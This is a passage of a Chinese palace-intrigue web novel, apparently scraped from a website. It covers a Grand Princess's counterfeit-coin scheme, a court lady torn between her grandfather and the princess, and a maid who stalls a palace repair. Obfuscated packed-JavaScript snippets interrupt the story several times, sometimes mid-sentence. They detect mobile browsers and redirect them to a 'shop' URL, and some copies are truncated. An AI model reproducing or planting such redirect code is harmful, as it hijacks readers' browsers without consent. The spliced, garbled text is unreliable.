大长公主待她极好,不单给了她正四品尚宫的官职,更是允诺,若第二场女科能顺利举行,便允她入朝为官,户部侍郎一职责,是特地为她留的。 大长公主如此看重她,她怎能不尽心尽力侍奉? 更何况,近两个多月的相处,大长公主的辛苦,大长公主的殚精竭虑,她都看在眼里。 大长公主一心为国为民,实乃明君之举,如若大长公主是个皇子,只怕会是个青史留名的好皇帝。 可让王润蕾十分纠结的是,每次回家,祖父总是会拉着她问长问短,询问大长公主今日见了什么人,说了什么话,甚至连大长公主身边的莲音、莲房、莲亭三位女官行事都要过问。 事无巨细,均要一五一十、详尽如实说得清清楚楚。 整得她在大长公主身边做女官,好像做探子一样。 王润蕾甚是反感祖父如今的举动。 可一边是养育她的祖父,一边又是重用她的大长公主,无论是哪一边,她都无法割舍下。 她不敢拒绝祖父,她也不忍背叛大长公主。 唯一能救她的,恐怕只有第二场女科了吧,等她通过女科入仕,祖父便不会这么逼问她了,她也不必担心会背叛大长公主了。 好在,第二场女科的时间总算是定下了,就定在明年的六月。 “温相!”王润蕾抬头便看到刚进福康宫的温嘉诚,忙笑着招呼一声。 温嘉诚见是王润蕾,便笑着回应:“王尚宫。” 当着诸多宫人的面,两人略显疏离,待行至四下无人处,王润蕾便亲热地拉起温嘉诚的手:“嘉诚,眼下并无旁人,你还是叫我名字吧,要不听着还怪生疏的。” 温嘉诚掩嘴一笑:“润蕾。” 王润蕾环顾下四周,忙凑近温嘉诚,问道:“听说第二场女科的时间定下来了?在明年六月?” 自王润蕾在刘安身边侍奉以后,说话倒愈发流畅,再也看不到先前口齿不伶俐的模样。 温嘉诚点点头:“是呢。今儿早朝刚定下的。” “你也知道,女科之事推行艰难。”温嘉诚笑道:“论起来,该替全天下的女子谢过你祖父、你姑父、你哥哥。今日若不是他们在朝堂上仗义执言,为天下女子博得这个入仕的机会,只怕……女科还不知何时才能定下呢。” 王润蕾自是面露喜色,心头的石头随之安稳落地。 “嘉诚,你猜我今日在宫里的名册中见到了谁?”王润蕾神秘兮兮道。 温嘉诚面露疑色。 王润蕾以极低极低的声音道:“蔡岑。先前颖州蔡氏的蔡岑啊!” “会不会……会不会是同名同姓的人?”温嘉诚不甚自然道。 王润蕾并未察觉温嘉诚的神情有何不妥,自顾自道:“绝不会错。我顺着名册,还亲眼见到了她,绝对是她。她也倒真有本事,如今,已然是陛下身边的近侍了。” 温嘉诚则是抓住一点:“她……现在是陛下身边的近侍?” “是啊。”王润蕾点点头。 温嘉诚则是眉头微蹙,不由得开始揣测,蔡岑的身份,陛下竟全然不知? 竟……全然不知? 那大长公主是否知道此事呢?该不该让大长公主知道此事呢? 想到当年那桩事,王润蕾不由得叹息一声:“我听说那掖庭,艰苦异常,进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274307|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便很难再出来。也不知她这几年是怎么过的,竟能成了陛下身边的近侍。” 王润蕾感慨非常,忽而瞥见温嘉诚拧着眉头,又笑道:“嘉诚,你在想什么呢?” 温嘉诚回过神,尬笑两声:“殿下可知此事?” 王润蕾道:“殿下平日里那般繁忙,哪里有空管这些事儿。” 温嘉诚点点头,大长公主不知,那便不知好了。 “温相,尚宫大人,原来你们在这里啊,可真让我好找呢。”莲音笑着上前。 刘安得知温嘉诚已然进宫,可左等右等都等不来,自是好奇,便遣莲音来寻二人。 可巧,莲房才从宫外回来,遇着温嘉诚与王润蕾两人手拉手到别处说话去了。 依着莲房给的信儿,莲音便寻了过来。 莲音一一拜过两人:“见过温相,见过尚宫大人。” 温嘉诚问道:“我这就来。”说罢,便跟在莲音身后。 莲音见王润蕾也跟在她们二人身后,为着大长公主交代的事情隐秘,并未召见王润蕾,便想了个由头支开王润蕾:“尚宫大人,近来慈宁殿修缮的一众事宜,还需尚宫大人过目呢。” 王润蕾忙道:“是呢,方才忘记了,我这就去忙。” “真真是劳累尚宫大人了,修缮慈宁殿一事,也是拖了好久,可宫里总是腾不出人手,如今可好了,尚宫大人来了。”莲音言笑晏晏。 王润蕾道:“还望殿下放心,我既入宫来,便定当尽心尽责,为殿下排忧解难。” 莲音拜过王润蕾后,便在前头为温嘉诚开路。 听闻事关慈宁殿,温嘉诚知道慈宁殿的修缮要拖,可王润蕾才入宫两个月,只怕不明白其中的弯绕,便想再嘱托两句,不巧,莲音回头柔声催促: “烦请温相快些脚步。” 温嘉诚自是不好再多说什么,忙跟上莲音脚步。 温嘉诚轻轻扶过莲音掀起的厚重门帘,微微侧头弯腰迈过门槛。 才刚入殿,还未曾见到刘安,便先听到了刘安的两声轻咳。 听着,倒比先前夏季时要更严重些。 待来到福康宫内殿的书房,温嘉诚施礼拜道:“臣温嘉诚,见过殿下。” 刘安见温嘉诚来了,顺手合上方才的小匣子,打趣调笑道:“哎呦呦,见你一面,还要派人去请!温相真是好大的面儿啊!” 温嘉诚笑道:“再怎么大的面儿,那不都是殿下赏识的吗?殿下看重我,我才有这么大的面儿啊。” 刘安笑了两声,笑声还未停,便又是一阵咳嗽。 温嘉诚忙轻轻拍抚着刘安的后背,一边不忘掏出手帕接着,待刘安止住咳嗽,温嘉诚打开手帕瞄了一眼,一口血痰。 “殿下!”温嘉诚收起手帕,端起桌上的茶水奉给刘安。 满满一杯茶水,早已没了温度。 刘安接过茶水,不以为意:“又带了些许血丝吧?都老毛病了。” “来,看看这个。” 说着,刘安将方才手边的小匣子推到温嘉诚面前。 温嘉诚带着疑惑,打开匣子。 一小吊铜币并数枚散布在周围的铜钱。 温嘉诚取出一枚,在手中摩挲了半天,方才犹豫开口问道:“这是……私铸币?” 111. 外攘内安(十六)请君入瓮 “这就是两个月前,逍遥王仿照栾南的私铸币铸造的铜币?”温嘉诚仔细看着铜币上略显模糊的花纹、字样,因而问道。 “正是。”刘安点点头,又从袖中掏出一枚摩挲得泛起些柔润的光泽的铜币,递给温嘉诚:“你看看,与诚王私铸的铜币相比,可有什么差异?” 温嘉诚接过,仔细辨别,乍一看与栾南私铸币并无二般,可在手中一掂量,能清楚得察觉到少了些份量。 温嘉诚试探着答道:“似是……轻了些。” 刘安轻轻“嗯”了一声,解释道:“也不知栾南这些私铸币中掺了什么,用的铜量更少,却与我们正常的铜币一般重。时间紧急,赞儿也只能先将就着来。” “不过这样一来也好,来日回收时也能不出差错。” 温嘉诚点点头以示赞同。 “既这么着,那便将这些散下去吧。”刘安抓了一把散落在匣子中的铜钱,任凭铜钱在手中如流水般流逝,笑着看向一旁的温嘉诚:“网已布下,单等收网的时候。” 刘安呼唤一声:“莲房——” 莲房应声而来。 刘安将那匣子推向莲房:“按着先前我交代你的,吩咐下去。” 莲房接过匣子,拜别刘安与温嘉诚。 可巧,才刚出了福康宫的门,便遇着来给刘安汇报慈宁殿修缮一事的王润蕾。 见着莲房又要出宫,王润蕾不免多看了一眼,随后便匆匆进了福康宫。 “拜见殿下。”王润蕾徐徐施礼,得刘安召见后,便将她近来理好的工作簿呈给刘安。 “殿下,这是我近来理清的慈宁殿修缮的一众事项,还请殿下过目。如今慈宁殿的修缮大体上已然完成,仅剩下里头的陈设布置一块,预计再有大半年,便可布置妥当。”说着,王润蕾将簿子细心翻好,供刘安查阅。 这是王润蕾接受的第一项差事,自当尽心竭力,以报刘安提携之恩。 刘安嘴角不免抽搐,她没想到王润蕾竟这般勤快,这般能干。 慈宁殿的修缮,她本还想再拖上个两三年。 温嘉诚不免轻叹一声,润蕾入宫时间短,不明白这其中的意思,看来得找个时间与润蕾说清楚才是。 刘安略带敷衍地草草翻过两三页后,面上连连点头:“润蕾有心了。” 刘安生怕王润蕾半年做完慈宁殿的修缮,忙岔开话题:“润蕾已有四五天未曾家去了吧,今儿见着王太傅,还听到他念叨你呢,若得了闲,便出宫回家待上些时辰。” 王润蕾扯出抹尴尬的笑容:“殿下……我……我既然入宫做了女官,哪里好经常出宫去呢?一来有违宫规,二来……二来未免太特立独行了。” 王润蕾也很想家,可每次一归家,便免不了像探子一样向祖父汇报大长公主近来发生的一切,她没法违逆祖父,也不想背叛大长公主。 刘安不甚在意:“你是得了我的允许,谁敢多说什么?尽管放心家去。”说罢,眼见着王润蕾还要再说些什么,便与一旁的温嘉诚使了个眼色。 温嘉诚会意,忙拉开王润蕾,连连笑道:“润蕾,我也正要出宫呢,不妨同行。” 刘安笑着朝两人摆摆手:“快些回去吧,免得太傅大人挂心。” 王润蕾拗不过两人,但又不好多说什么,便只好由温嘉诚拉着,拜别刘安。 温嘉诚与王润蕾二人一同出宫,因温嘉诚还有话要嘱托王润蕾,二人便同乘一架马车。 温嘉诚见王润蕾眉头微蹙,忙出言安慰道:“润蕾,殿下是个性情宽厚的人,她也是真的爱护下面的人,也是真的爱护你我二人,你不必过分忧愁。” 王润蕾心中的苦楚,也不好同温嘉诚讲,便只是扯动嘴角,勉强笑了下。 “润蕾,还有些话,看来有必要同你细讲。”温嘉诚道:“慈宁殿修缮一事,不必过分上心。那原不过是一件小事,殿下身边还有其他要紧的事儿呢。” 王润蕾不解其意:“这可是殿下交代我的第一件差事,如何能不上心呢?” 再者,祖父也时常关心着慈宁殿的修缮事宜,单等着慈宁殿修缮妥当后,迎李太后入住慈宁殿。 难得祖父与大长公主关心同一件事,她自然得万分上心才是。 “润蕾,若是李太后入主了慈宁殿,若依着惯例,陛下年幼未及束发,理应李太后垂帘听政,虽说殿下依着先帝遗诏监理朝政,可先前为着尊封太后一事,殿下与李太后之间已然生了嫌隙。”温嘉诚细细道来:“若李太后与殿下同时听政,朝堂之上又该听谁的才好?” “岂非又要乱了套?” 说得也是。王润蕾赞同地点点头,李太后对大长公主的不满,她先前也听过些许的传言。 若要她选,她自然选大长公主。 可……她又有她的难言之言,若是祖父问起来,又该如何答呢? “你说大长公主身边的女官莲房今日连着出宫两趟?第二次出宫还带了个匣子?” “蕾儿?”王落儒见王润蕾跑了神,轻轻唤了一声。 王润蕾思绪拉回,眼睛在眼眶里转了一圈,忙回道:“嗯。” 王落儒再次追问道:“她去了哪儿?那匣子里装了什么你可清楚了?” “许是……许是去了公主府吧。”王润蕾心不在焉地答道。 王焕站出来为妹妹打圆场:“祖父,妹妹好容易出宫一趟,你就别问这么多了。” 王焕见王润蕾比先前消瘦不少,关心道:“蕾儿,你在宫里可好?大长公主可有为难过你吗?” 祖父与大长公主刘安政见多有不和,王焕担心刘安会因此迁怒于王润蕾。 王润蕾笑笑:“哥哥放心,我在宫里一切安好。殿下乃至殿下身边的诸位女官,都待我极为亲热和善。” “和善?她?哼!”王落儒连连摇头,冷哼一声。 刘安在朝政上翻手为云覆手为雨,手段甚是了得,哪里就担得起和善二字? 王润蕾见王落儒不信,又追加了一句:“殿下就像和善的姐姐一样,平日闲下来也会同我们玩闹逗趣儿呢。” 王焕顺着王落儒的话补充道:“妹妹,许是你同大长公主接触不多,对她不甚了解,别看她面相和善,背地里手段也不少,你知道朝中同僚们皆称她什么吗?” “朝中同僚皆称她是‘菩萨面庞,雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王落儒不信刘安,但面前的是他抚育教导的孙女,到底还是相信王润蕾的:“先前不是说仅需要大半年的光景吗?怎么如今又要数年之久?” “是呢,我也……我也正……疑惑呢,这不……这不抓紧……时间回宫去。”王润蕾编着瞎话,不由得紧张起来,她一紧张,便不由得有些口吃。 “罢了罢了。”王落儒也不怎么寄希望于李太后能压制刘安了。 李太后一无家世可以倚仗,二无才能可以监国,如今更是被刘安压了三四年都未能掌权,还能指望什么呢? 再者,王落儒还要背着王润蕾安排人手跟踪调查莲房呢。 如今刘安多居于福康宫,鲜少回公主府,而这莲房频频出宫,往返于福康宫与公主府,公主府能有什么,值得莲房频频出宫?其中必有猫腻。 王焕送王润蕾上了马车,眼中尽是不忍,关切道:“宫里吃食如何?怎么看着倒是瘦了不少,可有饿着累着?” 王润蕾笑道:“瞧哥哥这话说的,我好歹是宫里正四品的尚宫,又有大长公主撑腰,谁能为难得了我不成?哥哥便不必为我担忧了。” “祖父……他近来身体如何?”瞥见站在门口观望的王落儒,王润蕾忧心问道。 王焕叹了口气:“还是老样子,有我在,你在宫里且安心些。” “那我便归宫了。”王润蕾放下帘子。 目送着载着妹妹的马车远去,王焕长叹一声,转身回府。 “祖父。”王焕行至王落儒身旁,拱手作揖。 王落儒低声问道:“先前安排你派人跟着莲房女官,如今人手可都还在?” 112. 外攘内安(十七)暗流涌动 王焕道:“祖父放心,一直都跟着呢。今儿也确实如妹妹所说,莲房女官曾两次出宫前往公主府。” “第一次回宫时,从公主府里带出一个匣子,第二次出宫时,又将这个匣子带回了公主府。” “可有法查明匣子里装的是什么?” 王焕如实道:“这……只怕有些难。” 如今公主府仅留着些先前的侍从看守着府邸,并未招收新的侍从,若要安插眼线液有些难度。 王落儒知道难,便不再询问,换了个话题:“那莲房女官藏在公主府里的那个情郎如今是何情况?” “还是那个样子,日日眠花宿柳,赌钱喝酒,一个不落。”王焕嗤笑一声,甚是不屑道:“听说近来又与一个有夫之妇勾搭在一起,前几日还被那妇人丈夫发现,给狠狠揍了一顿,险些没了命。” 王落儒道:“看好他。日后或许会有大用。” 王焕:“祖父放心。” 消停不过几日,仿造栾南私铸币的那些个铜币便在这些朝中大员的家里传开了。 一开始,众人都三缄其口,生怕会是政敌的陷害,可时间一长,从下人手里收来的私铸币愈发的多,众人才回过味来,察觉到不妥。 尤其是工部、户部的人。 铸币权全在官中,现下民间竟有人敢私自铸造钱币! 再者,这些流通的私铸币上并无半点磨损,看着像是新铸造的。 可大江朝仅在康佑帝登基二年铸造过一次新币,如今流通已有三四年之久,康佑二年的铜币上或多或少都有些磨损,断然不会这般毫无一点磨损使用的痕迹。 再有一点,既然是新铸造的铜币,那铜币上的字样便不可能会是模糊的。 这些私铸币上的字样虽说模糊,可也能勉强看得出来,上面刻的是“承道”的年号,是先帝用过的年号。 如此种种,十分异常。 私铸钱币,与谋逆无异。 如今太平盛世,一片国泰民安之象,到底是谁敢行谋逆之事? 到底是谁敢这么大胆子? 早先收到私铸币的事儿,王焕和崔至二人都未曾告诉王落儒,都在私下里暗中调查,可时间太短,并未调查出什么。 如今私铸币的事儿愈演愈烈,到底还是瞒不住王落儒。 王落儒手里攥着一把从下人手里收过来的私铸币,将崔至与王焕都召集到书房商议对策。 “姑婿,先前你便追查过栾南的私铸币,如今可有什么看法?” “依我看,这些币,倒是与先前孝懿太子调查的栾南私铸币一模一样,这些……不会是从栾南流出的吧。”崔至揣测道。 可铸造之人的目的是什么?又为什么要仿造栾南的私铸币呢? 王焕沉默不语,他不认同崔至所言,这些新币,比栾南那枚私铸币要更粗糙简略些,再者也更崭新,明显是近来才新铸造的,姑父不会看不出来,姑父为何这样说呢? 崔至原先在孝懿太子手下,暗中主导调查栾南私铸币一事,何尝看不出来差异? 只是,若能借着此次的由头,一举清剿栾南的诚王,安定国内一心对外,也未尝不可。 王落儒点点头,颇为认可崔至的说法:“如今正是北征之际,偏偏这些私铸币混入京城,岂非要使得我大江物价崩溃、天下大乱?” “不行,我要即刻进宫奏禀陛下。”越说越气,王落儒当即站起身,一刻也等不了,即刻便要进宫去。 “祖父且慢!”王焕赶忙喊住王落儒,“此事非同小可,不如我们再纠集几个同僚,再与同僚们商议后再做决定。” 王落儒迟疑片刻。 崔至思索后,道:“不可,若是陛下疑心我们暗中结党,那便不好了。” 朝中同僚,多数是通过科举的路子,与程显等人尤为交好,他们这些出身世家大族的臣子,与那些人格格不入,倘若有人从中作梗,那才是真的糟了。 三人沉默片刻,崔至忽然想到王润蕾,忙道:“蕾儿不是在大长公主身边做女官吗?何不通过她的路数,来向大长公主汇明情况呢?” “她?”王落儒眉头拧起。 “是啊,如今大长公主当政,虽说是雷霆手段,可也是尽心为着国家,由大长公主主理此事,我看可行!”王焕赞同道。 “大长公主与定北王、逍遥王交好,定北王与逍遥王皆对大长公主唯命是从,再者朝中还有温相、温国公相助,若是大长公主下定决心要清剿栾南那位,只怕成功的几率还要大些。”崔至道。 崔至见王落儒对刘安心存芥蒂,忙劝道:“再者,即便是大长公主与栾南那位闹得个两败俱伤,到那时,再由陛下出来主持局面,一来□□朝政,二来收拢皇权。” 王焕附和道:“甚好甚好。” 崔至与王焕两人齐齐看向犹豫不决的王落儒。 王落儒为人耿直,但有时又过于迂腐,鲜少能想到这样的弯弯绕绕,心里还是觉得应该先奏禀康佑帝刘绥。 崔至与王落儒同朝为官数载,自然知道王落儒此时所想,便又劝道:“岳丈大人,若是大长公主那边的路数行不通,我们再奏禀陛下也不迟。如今陛下根基未稳,说到底还是过于年幼,谋略眼光远不及大长公主,若陛下得知此事后贸然发兵清剿诚王,只怕会惹得国家动荡。” “也好。”王落儒被说动,转而看向王焕:“你妹妹也有四五天未曾回家了吧。” 王焕道:“是呢。我这就递一封折子到宫里。”说着,便忙去准备。 一封家书递到王润蕾面前。 王润蕾看着哥哥递来的书信,无奈叹了口气,她如今忙得不行,哪里还有闲暇家去呢? 近来王润蕾正为慈宁殿修缮一事发愁不已。 先前经温嘉诚点拨后,王润蕾正发愁该如何拖延慈宁殿修缮的工期。 陈设布置一事,操办起来尤其简单,无非是派人去库房里取些物件来,毫无运作空间。 如今,李太后得知慈宁殿宫室大抵已修缮妥当后,便日日派人催促监工。 王润蕾甚是头疼,疲于应付,整个人看着也比先前要更憔悴些。 “王尚宫,陛下身边的内官来了。” “知道了。”王润蕾揉揉略有些发胀的太阳穴,整了整钗环,理了理衣袖,起身相迎。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274309|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她以为是陛下身边的杨仕鑫杨内官,正想着该寻些什么话来搪塞呢。 大长公主身边的莲亭、莲房两位内官告诉过她,这杨仕鑫,是个极致的小人,对上谄媚对下骄横,尤其是对与福康宫相关的人或事,苛刻至极。 莲亭、莲房,乃至莲音内官,都曾受过杨仕鑫的刁难。 但偏这种小人,最是能讨得陛下欢心。 当然,这些都是莲亭与莲房说的,王润蕾入宫两个多月,倒是与杨仕鑫打过些交道,杨仕鑫对她倒也还算客气,也不知是不是看在她祖父是太傅、她哥哥是户部侍郎的缘故。 王润蕾带着尚宫局的宫人们迎出去,却发现来人不是杨仕鑫,而是蔡岑。 蔡岑见着王润蕾,面上闪过一瞬的尴尬,不过很快便消散。 蔡岑笑着拜过王润蕾,还未曾开口,便被一旁的珍儿抢了先:“王尚宫,我受陛下所托,前来查验慈宁殿修缮一事,劳烦王尚宫带下路。” 珍儿颇为趾高气昂。 蔡岑与王润蕾面上皆是浮现些不满。 宫里竟能容得下这样的人? 王润蕾知道这个珍儿,仗着杨仕鑫的势,行事嚣张惯了,看样子蔡岑也没少受她欺负。 虽说王润蕾与蔡岑交情不多,可现在看着她这个样子,到底还是于心不忍。 王润蕾还以蔡岑一礼,转而对着珍儿道:“还不知内官名姓。” 珍儿甚是不满白了王润蕾一眼,但又碍于王润蕾的家世,撇撇嘴道:“冯珍。” 王润蕾颇有礼节:“冯内官好,自我入宫以来,便只有陛下身边的杨内官、蔡内官来传过话,因而不认得冯内官,还望冯内官见谅。” 珍儿道:“嗯。快带路吧。” 王润蕾并不理睬珍儿,对上一旁的蔡岑,问道:“蔡内官所来何事?” 蔡岑嘴角勾起,得意地瞥了眼珍儿,回道:““王尚宫,受陛下所托,前来查验慈宁殿修缮一事,还要劳烦王尚宫带路。” “是。”王润蕾应下,随即撇下珍儿,带着蔡岑前去慈宁殿。 独留珍儿一人,气得牙痒痒,世家大族出身就了不起啊!得意什么! 珍儿暗自狠狠啐了一口,但又不得不跟上。 这两个月来,陛下面前有着蔡岑侍奉左右,她备受冷落,好容易才央求杨仕鑫求来的差事,她必得好好做才是。 一行人来到慈宁殿。 慈宁殿果真修缮得不错,远远得便能看到檐上的瑞兽琉璃瓦,宫室巍峨庄严。 一路走来,就连慈宁殿前的那条宫道,用的都是精心烧制的雕花砖,走在上面,颇有一番雅趣。 再跟着王润蕾走入慈宁殿,只见园中花草树木繁茂,鹅卵石铺就的蜿蜒小路,就置于花丛之中。此外,还额外圈了一大块地,养着两三头漂亮的梅花鹿并两三只白鹤。 眼见着慈宁殿修缮即将完工,李太后不日便将搬入慈宁殿,蔡岑与珍儿两人神色各自不同。 珍儿正想着该如何邀功。 蔡岑想的是,该怎么拖延修缮慈宁殿的工期。 这是她的意思,当然,也是刘绥的意思。 113. 外攘内安(十八)借题发挥 蔡岑行走在那条蜿蜒的鹅卵石路上,走了几步,随着脚底传来凹凸不平的触感,当即心中便有了主意,嘴角微微勾起,弯腰查看脚下的鹅卵石路。 珍儿、王润蕾见状也忙跟着弯腰探查,可看了许久,也未曾发现什么不妥。 王润蕾不解地看向蔡岑,这条小道铺得平整,是她亲自验收过的,哪里会有什么差错呢? 蔡岑摸着一块块鹅卵石铺就的凹凸不平的路面,直起脊背,取来手帕细心地擦着手上沾染的灰尘,漫不经心问道:“王尚宫,这条路上铺设的鹅卵石怎么形状各异?” “为何……不选用一模一样的鹅卵石?” 一模一样的?鹅卵石? 天底下哪儿有一模一样的鹅卵石! 就这条路上铺的石头,都是经过工匠们细心筛选过的,虽说不能一模一样,但大小相当也是能保证的,即便有几块略大或是略小些的石头,那也无伤大雅。 这么明显的找茬,王润蕾自然听得出来。 王润蕾撇撇嘴,从蔡岑嘴里说出来的话,还是一如既往的尖酸刻薄,令人讨厌。 “蔡内官——”王润蕾刚想解释,可谁知蔡岑竟自顾自迈步朝着慈宁殿外的那条宫道上走去。 蔡岑可不管这些。 蔡岑起身又走到进入慈宁殿的那条宫道上,蹲下一块块摸着路上的雕花砖,见着其中一块烧制得花纹模糊了一点,又道:“王尚宫,这块儿砖的花纹不对,该叫工匠们重新烧制一块才是,万不该如此糊弄了事。” 珍儿与王润蕾神情皆是一滞,这……这也未免太过于吹毛求疵了吧? 王润蕾此时多少有些后悔,后悔方才出言下了冯内官的面子,后悔方才看着蔡岑可怜而帮她说话。 就蔡岑这张嘴,得罪了人那也是活该。 王润蕾白了一眼,掏了掏耳朵,不愿再搭理蔡岑。 蔡岑并未理会身旁的王润蕾与珍儿,起身拍拍手,抬头望了眼宫道,在心里默默数了下地砖的数量。 虽说铺设的雕花砖数量不多,可若是要一点差错也找不出来,也要将这些地砖起了重新铺设,再者,烧制雕花砖也需要些时日,没个半年的功夫,这条宫道修不好。 能再拖上半年,也是好的。 蔡岑甚是满意地点点头,脸上重新挂上抹疏离的笑意,转身对着王润蕾道:“王尚宫,方才说的这些记下了吧?让工匠重新做吧。” 眼见着蔡岑对王润蕾万分刁难,珍儿站出来为王润蕾主持公道:“蔡岑,你这样未免也难为人了吧!” “这地砖上的花纹,不趴在地上看根本看不出来差别,还有那鹅卵石,天底下哪里有一模一样的石头!” 说罢,珍儿特意还看王润蕾一眼。 虽说王润蕾方才为难过自己,但如今自己能不计前嫌,为她说话为她讨个公道,她看在眼里,多少也会念着些自己的好。 蔡岑听后,不屑地哼了一声,心中暗骂了声“蠢货”,并未理会珍儿。 王润蕾挂着勉强的笑:“蔡内官……” 话还未出口,转念一想,王润蕾便止住了声,忙笑着应下:“蔡内官说得极是,我这就去命工匠整改。” 方才王润蕾还觉得蔡岑吹毛求疵为难她,甚是勉强,可如今想来,若按着蔡岑的要求来,李太后入主慈宁殿的时间便又要再往后延。 往后延……这不正如了大长公主殿下的心意吗? 管她蔡岑是不是刁难,能如了殿下的心意,总归是好的。 想到这儿,王润蕾不觉欣喜。 蔡岑听得王润蕾这样说,甚是得意舒了口气,还不忘瞥一眼身旁的珍儿。 即便珍儿脸上涂了脂粉,也能看得出珍儿脸上黑了几分。 眼见着主管慈宁殿修缮事宜的王尚宫都这么说了,珍儿自然也不好再多说什么。 珍儿狠狠剜了王润蕾与蔡岑一眼,甩了甩手中的帕子。 真是!自讨了个没趣。 蔡岑与珍儿二人前后脚离开了尚宫局,各自无言走了一段路,珍儿终于忍不住了,在一处无多少宫人经过之地,一把抓住蔡岑的胳膊,厉声问道:“蔡岑,你为何处处要与我作对!” 蔡岑被珍儿这话说得多少有些摸不着头脑,她?为难珍儿? 她?处处与珍儿作对? 蔡岑满脸疑惑,嗤笑一声,不由得笑问道:“处处?与你作对?珍儿姐姐,你这话说的毫无道理,明明是姐姐处处刁难我,怎么到了姐姐嘴里,竟成了我处处与姐姐作对呢?” 蔡岑笑着问道:“我倒想问问姐姐,你为何要处处刁难我?” “自打我从掖庭调到福宁殿后,你便处处看我不顺眼。这是为何?” “是因为我的容貌胜过你?” “还是因为你将杨仕鑫当个宝而我却对之弃之敝履吗?” “抑或是因为我如今越过你成了陛下身边仅次于杨仕鑫的近侍?” 蔡岑音量逐渐提高,眼神愈发冷冽,脚步渐渐逼近珍儿。 蔡岑比珍儿还要高出半个头,身高的优势,还有她那出身颖州蔡氏独一无二的气势,都是珍儿所不能比拟的。 珍儿被蔡岑周身的气势压得有些喘不上气来,不自觉步步后退,直至被蔡岑逼到宫墙边上,直至蔡岑那双冷得让人发颤的眼睛紧对上她的眼睛。 珍儿被蔡岑说中了心事,脸上神情有些动容,眼中的恨,却更盛。 是啊,蔡岑说的不错,自打蔡岑从掖庭调过来后,虽说脸色黯淡无光,可细看之下,粗布衣衫还是难掩姿色,皮肤在一众宫人们之中白得发光,就像一块上好温润的玉。 自打蔡岑来到福宁殿之后,便被杨仕鑫看上了,明里暗里受到杨仕鑫不少的优待,堪比她。 珍儿看在眼里记在心里,又如何能忍? 凭什么蔡岑能什么都不做就能得到这些优待?凭什么? 蔡岑……杨仕鑫……这两个名字,珍儿在心里念了不知多少遍。 她还需要倚仗杨仕鑫,自然不会恨他,她能恨的,只有这个看着瘦弱、看着好欺负的蔡岑。 她恨蔡岑的容貌,她恨蔡岑的学识,她恨蔡岑的出身。 她恨蔡岑能轻而易举得到杨仕鑫的青睐,她更恨蔡岑也能轻而易举博得陛下的宠信。 “看来,我说对了。”蔡岑看着珍儿脸上五颜六色的神情,便知自己猜对了,轻笑一声。 她从未想过要与珍儿、珠儿这些人争什么抢什么,珍儿珠儿这些人如今争抢在意的,与她先前丢给家里豢养的狗儿的那根骨头、那口热汤没什么两样。 争这些有什么用? 她,志不在此。 蔡岑后退一步,与珍儿之间拉开距离:“你放心,你看得上的,我从来都看不上。”说罢,便撇下珍儿,独自离去。 蔡岑的轻蔑,落在珍儿眼里,更是无声地羞辱。 出身世家那又如何?有学识又如何?长得漂亮又如何?还不是要沦落到和她一样的境地,在宫里为奴为婢! 也不知道高傲个什么劲儿! 珍儿的眼神就像两支淬了毒的利箭,狠狠扎在蔡岑身上。 蔡岑对此毫不知情,也实在无需在意,更是无暇顾及珍儿心中是怎么想的。 从尚宫局回到福宁殿后,蔡岑便马不停蹄地在康佑帝刘绥身边奉茶研墨。 刘绥得知蔡岑又将慈宁殿修缮的工期延后大半年,嘴角微微勾起,似笑非笑道:“朕不过叫你去监督,何时有过这样的意思?你胆子倒大。” 蔡岑瞥了眼刘绥,这两个月的相处,她已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274310|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸清了刘绥的心性。 他心里若是带了怒气,嘴角是绝不会上扬的,眼睛也绝不会弯成弦月模样。 蔡岑知道刘绥此时心情不算差,便自信道:“奴在陛下身边服侍数月,何尝不知陛下的心思?” “若是陛下有心迎太后入主慈宁殿,便会像决策北征那般坚决,是断然不会任由大长公主牵着鼻子拖延至今。”说罢,蔡岑又谨慎地看了刘绥,而后垂下头,嘴角含笑,侍立一旁研墨。 刘绥被蔡岑说中了心思,冷哼一声,双手高高举起摊在桌子上的折子,横在面前,横在他与蔡岑之间。 别看这蔡岑在刘绥身边仅有两个月,但蔡岑心思活络、脑子聪明,人也知趣懂进退,不似杨仕鑫那般只知一味奉承谄媚,远胜过杨仕鑫,刘绥也越来越看重蔡岑。 除了上朝、就寝以外,多半时间都由蔡岑服侍。 夜已深,蔡岑刚侍奉康佑帝刘绥就寝,才回到宫女们居住的耳房,便被珠儿叫住。 “岑姐姐,听说……听说云湖那边新放了一批锦鲤,不妨……不妨去那里看看吧。” 